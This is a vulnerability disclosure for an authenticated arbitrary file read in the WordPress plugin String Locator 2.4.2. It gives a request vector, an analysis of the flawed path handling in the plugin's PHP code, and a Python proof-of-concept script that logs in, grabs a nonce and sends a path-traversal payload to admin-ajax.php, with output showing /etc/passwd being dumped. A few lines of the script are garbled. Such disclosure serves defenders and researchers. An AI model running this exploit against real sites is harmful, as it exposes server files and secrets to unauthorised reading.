

# String Locator ≤ 2.4.2 – Arbitrary File Read (Authenticated)

## Author

Seyeong Lee(Qerogram)

## Test Environment

Wordpress 5.9

php 7.4.21

MySQL 5.7

String Locator 2.4.2

## Result

```
PROBLEMS  OUTPUT  TERMINAL  DEBUG CONSOLE

[qerogram] ~/Desktop
$ /usr/local/bin/python3 /Users/qerogram/Desktop/lfi_string_locator.py
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

## Vector

[+] Call Page

Phase 1) Set target file

POST /wp-admin/admin-ajax.php"

- ➔ action = "string-locator-get-directory-structure"
- ➔ **directory** = **f"t-../..../..../{FILENAME}"** // not a directory, just a file
- ➔ search = /.\*/i
- ➔ regex = true

Phase 2) Read File

POST /wp-admin/admin-ajax.php

- ➔ action = "string-locator-search"
- ➔ filenum = "0"

[+] Code Page

Phase 1)

/wp-content/plugins/string-locator/includes/class-string-locator.php – **ajax\_get\_directory\_structure()**

Phase 2)

/wp-content/plugins/string-locator/includes/class-string-locator.php – **ajax\_file\_search()**

## Analysis

There are separate logics for set a target files and logics for checking files, so you have to go through a total of two processes.

### 1) Targeting Logic

In the `ajax_get_directory_structure` function, pre-processing of files to be searched in advance is performed. In the `ajax_get_directory_structure` function, pre-processing of files to be searched in advance is performed. In `prepare_scan_path` function, have insecure filtering is applied to path.

```
class-string-locator.php ×
wp-content > plugins > string-locator > includes > class-string-locator.php

296 function ajax_get_directory_structure() {
297     if ( ! check_ajax_referer( 'string-locator-search', 'nonce', false ) ) {
298         wp_send_json_error( __( 'Authentication failed', 'string-locator' ) );
299     }
300
301     $scan_path = $this->prepare_scan_path( $_POST['directory'] );
302     if ( is_file( $scan_path->path ) ) {
303         $files = array( $scan_path->path );
304     } else {
305         $files = $this->ajax_scan_path( $scan_path->path );
306     }
307 }
```

If you start with "t-", you can append all subsequent strings in the path. In this case, you can hypothesize that the sub-path can be accessed by inserting the relative path ("../"). The developer seems to have missed it because security is applied to strings starting with "p-".

```
class-string-locator.php ×
includes > class-string-locator.php

735 function prepare_scan_path( $option ) {
736     $data = array(
737         'path' => '',
738         'type' => '',
739         'slug' => '',
740     );
741
742     switch ( true ) {
743         case ( 't--' === $option ):
744             $data['path'] = WP_CONTENT_DIR . '/themes/';
745             $data['type'] = 'theme';
746             break;
747         case ( strlen( $option ) > 3 && 't-' === substr( $option, 0, 2 ) ):
748             $data['path'] = WP_CONTENT_DIR . '/themes/' . substr( $option, 2 );
749             $data['type'] = 'theme';
750             $data['slug'] = substr( $option, 2 );
751             break;
752         case ( 'p--' === $option ):
753             $data['path'] = WP_CONTENT_DIR . '/plugins/';
754             $data['type'] = 'plugin';
755             break;
```

## 2) Read Logic

In the `ajax_file_search` function, the `scan_file` function is called without a path check process.

```
class-string-locator.php x
wp-content > plugins > string-locator > includes > class-string-locator.php
521 $file_name = explode( '/', $file_data[ $filenum ] );
522 $file_name = end( $file_name );
523
524 /*
525  * Check the file type, if it's an unsupported type, we skip it
526  */
527 $file_type = explode( '.', $file_name );
528 $file_type = strtolower( end( $file_type ) );
529
530 /*
531  * Scan the file and look for our string, but only if it's an approved file extension
532  */
533 $bad_file_types = apply_filters( 'string_locator_bad_file_types', $this->bad_file_types );
534 if ( ! in_array( $file_type, $bad_file_types, true ) ) {
535     $search_results = $this->scan_file( $file_data[ $filenum ] ) $scan_data->search, $file_data[ $filenum ], $scan_data->
536 }
537
538 $response['last_file'] = $file_data[ $filenum ];
539 $response['filenum'] = $filenum;
540 $response['filename'] = $file_name;
541 if ( $search_results ) {
542     $response['search'][] = $search_results;
543 }
```

In the scan\_file function, search the contents of the file without a path check process.

```
class-string-locator.php x
wp-content > plugins > string-locator > includes > class-string-locator.php
1255 function scan_file( $filename, $string, $location, $type, $slug, $regex = false ) {
1256     if ( empty( $string ) || ! is_file( $filename ) ) {
1257         return array();
1258     }
1259     $output = array();
1260     $linenum = 0;
1261     $match_count = 0;
1262
1263     if ( ! is_object( $location ) ) {
1264         $path = $location;
1265         $location = explode( DIRECTORY_SEPARATOR, $location );
1266         $file = end( $location );
1267     } else {
1268         $path = $location->getPathname();
1269         $file = $location->getFilename();
1270     }
1271
1272     /*
1273     * Check if the filename matches our search pattern
1274     */
1275     if ( striestr( $file, $string ) || ( $regex && preg_match( $string, $file ) ) ) {
1312     }
1313
1314     $readfile = @fopen( $filename, 'r' );
1315     if ( $readfile ) {
1316         while ( ( $readline = fgets( $readfile ) ) !== false ) { // phpcs:ignore WordPress.CodeAnalysis.As
1317             $string_preview_is_cut = false;
1318             $linenum ++;
1319         }
1320     }
```

As a result, we get a file content.

PROBLEMS OUTPUT TERMINAL DEBUG CONSOLE

```
[qerogram] ~/Desktop
$ /usr/local/bin/python3 /Users/qerogram/Desktop/lfi_string_locator.py
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

## PoC

```
import requests, re

BASE_URL = "http://localhost:8000"
id = "wordpress"
pw = "wordpress"

FILENAME = "/etc/passwd"
FIND_KEYWORD = "/.*i"

def filter(text) :
    cleanr = re.compile('<.*?>')
    cleantext = re.sub(cleanr, '', text)
```

```

cleantext = cleantext.replace("&hellip;", "")
return cleantext

def login(id, pw) :
    # Phase : Login (because, we need a nonce value)
    sess = requests.Session()
    sess.post(
        BASE_URL + "/wp-login.php",
        data = {
            'log': id,
            'pwd': pw,
            'wp-submit': '%EB%A1%9C%EA%B7%B8%EC%9D%B8',
            'testcookie': '1'
        }
    ).text

    return sess

def exploit(sess) :
    # Phase : Get nonce value
    res = sess.get(f"{BASE_URL}/wp-admin/tools.php?page=string-locator")
    res = res.text
    res = res[res.find('search_nonce'):[15:]]
    nonce = res[:res.find('')]

    # Phase : Attack !
    res = sess.post(
        f"{BASE_URL}/wp-admin/admin-ajax.php",
        headers = {"Content-Type": "application/x-www-form-urlencoded"},
        data = {
            "action" : "string-locator-get-directory-structure",
            "directory" : f"t-../..../..../..../{FILENAME}",
            "search" : f"{FIND_KEYWORD}",
            "regex" : "true",
            "nonce" : nonce
        },
        proxies = {"http": "http://localhost:8080"}
    )

```

```
if res.json()["success"] == True :
    res = sess.post(
        f"{BASE_URL}/wp-admin/admin-ajax.php",
        headers = {"Content-Type": "application/x-www-form-urlencoded"},
        data = {
            "action" : "string-locator-search",
            "filenum" : "0",
            "nonce" : nonce
        },
        proxies = {"http": "http://localhost:8080"}
    )
    # print(res.text)

    for line in res.json()["data"]["search"][0][1:] :
        print(filter(line['stringresult']))

sess = login(id, pw)
exploit(sess)
```

## Cite

[+] Vendor : <https://wordpress.org/plugins/string-locator/>